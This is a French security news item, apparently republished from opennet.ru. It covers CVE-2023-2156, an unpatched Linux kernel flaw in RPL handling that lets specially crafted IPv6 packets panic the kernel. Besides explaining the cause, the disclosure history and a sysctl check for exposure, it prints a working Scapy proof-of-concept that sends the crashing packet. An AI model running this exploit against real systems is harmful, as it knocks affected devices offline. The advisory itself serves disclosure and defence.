Des informations sur la vulnĂ©rabilitĂ© non corrigĂ©e (0-day) (CVE-2023-2156) du noyau Linux ont Ă©tĂ© rĂ©vĂ©lĂ©es, permettant d'arrĂȘter le systĂšme en envoyant des paquets IPv6 spĂ©cialement formatĂ©s (packet-of-death). Le problĂšme se manifeste uniquement lorsque le protocole RPL (Routing Protocol for Low-Power and Lossy Networks) est activĂ©, qui est par dĂ©faut dĂ©sactivĂ© dans les distributions et est principalement utilisĂ© sur des appareils embarquĂ©s fonctionnant dans des rĂ©seaux sans fil avec une perte de paquets Ă©levĂ©e.
La vulnĂ©rabilitĂ© est causĂ©e par un traitement incorrect des donnĂ©es externes dans le code d'analyse du protocole RPL, ce qui entraĂźne le dĂ©clenchement d'un Ă©chec d'assertion et le passage du noyau en Ă©tat de panic. Lorsque des donnĂ©es, rĂ©sultant de l'analyse de l'en-tĂȘte d'un paquet IPv6 RPL, sont placĂ©es dans la structure k_buff (Socket Buffer), si le champ CmprI est fixĂ© Ă 15, le champ Segleft Ă 1 et CmprE Ă 0, un vecteur de 48 octets avec des adresses est dĂ©compressĂ© Ă 528 octets, crĂ©ant une situation oĂč le tampon de mĂ©moire allouĂ© est insuffisant. Dans ce cas, dans la fonction skb_push, utilisĂ©e pour insĂ©rer des donnĂ©es dans la structure, une vĂ©rification de la taille des donnĂ©es et du tampon Ă©choue, gĂ©nĂ©rant un Ă©tat de panic pour empĂȘcher l'Ă©criture en dehors du tampon.
Exemple d'exploit : # Nous utiliserons Scapy pour créer le paquet from scapy.all import * import socket # Utilisez l'IPv6 de votre interface LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Nous utilisons des sockets pour envoyer le paquet sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Création du paquet # Type = 3 fait de ceci un paquet RPL # Les adresses contiennent 3 adresses, mais comme CmprI est 15, # chaque octet des deux premiÚres adresses est traité comme une adresse compressée # Segleft = 1 pour déclencher l'amplification # lastentry = 0xf0 fixe CmprI à 15 et CmprE à 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) \/ IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Envoyer ce paquet malveillant sockfd.sendto(bytes(p), (DST_ADDR, 0))
Il est notable que les dĂ©veloppeurs du noyau ont Ă©tĂ© informĂ©s de la vulnĂ©rabilitĂ© dĂšs janvier 2022 et quâau cours des 15 mois suivants, ils ont tentĂ© trois fois de rĂ©soudre le problĂšme, publiant des correctifs en septembre 2022, octobre 2022 et avril 2023, mais Ă chaque fois, les corrections se sont rĂ©vĂ©lĂ©es insuffisantes et la vulnĂ©rabilitĂ© a pu ĂȘtre reproduite. En fin de compte, le projet ZDI, qui coordonnait les efforts pour rĂ©soudre la vulnĂ©rabilitĂ©, a dĂ©cidĂ© de divulguer des informations dĂ©taillĂ©es sur la vulnĂ©rabilitĂ©, sans attendre l'apparition d'un correctif fonctionnel dans le noyau.
Ainsi, la vulnĂ©rabilitĂ© reste non corrigĂ©e. De plus, le patch inclus dans le noyau 6.4-rc2 n'est pas efficace. Il est recommandĂ© aux utilisateurs de vĂ©rifier que le protocole RPL n'est pas utilisĂ© dans leurs systĂšmes, ce qui peut ĂȘtre fait Ă l'aide de la commande sysctl -a | grep -i rpl_seg_enabled
Source : opennet.ru
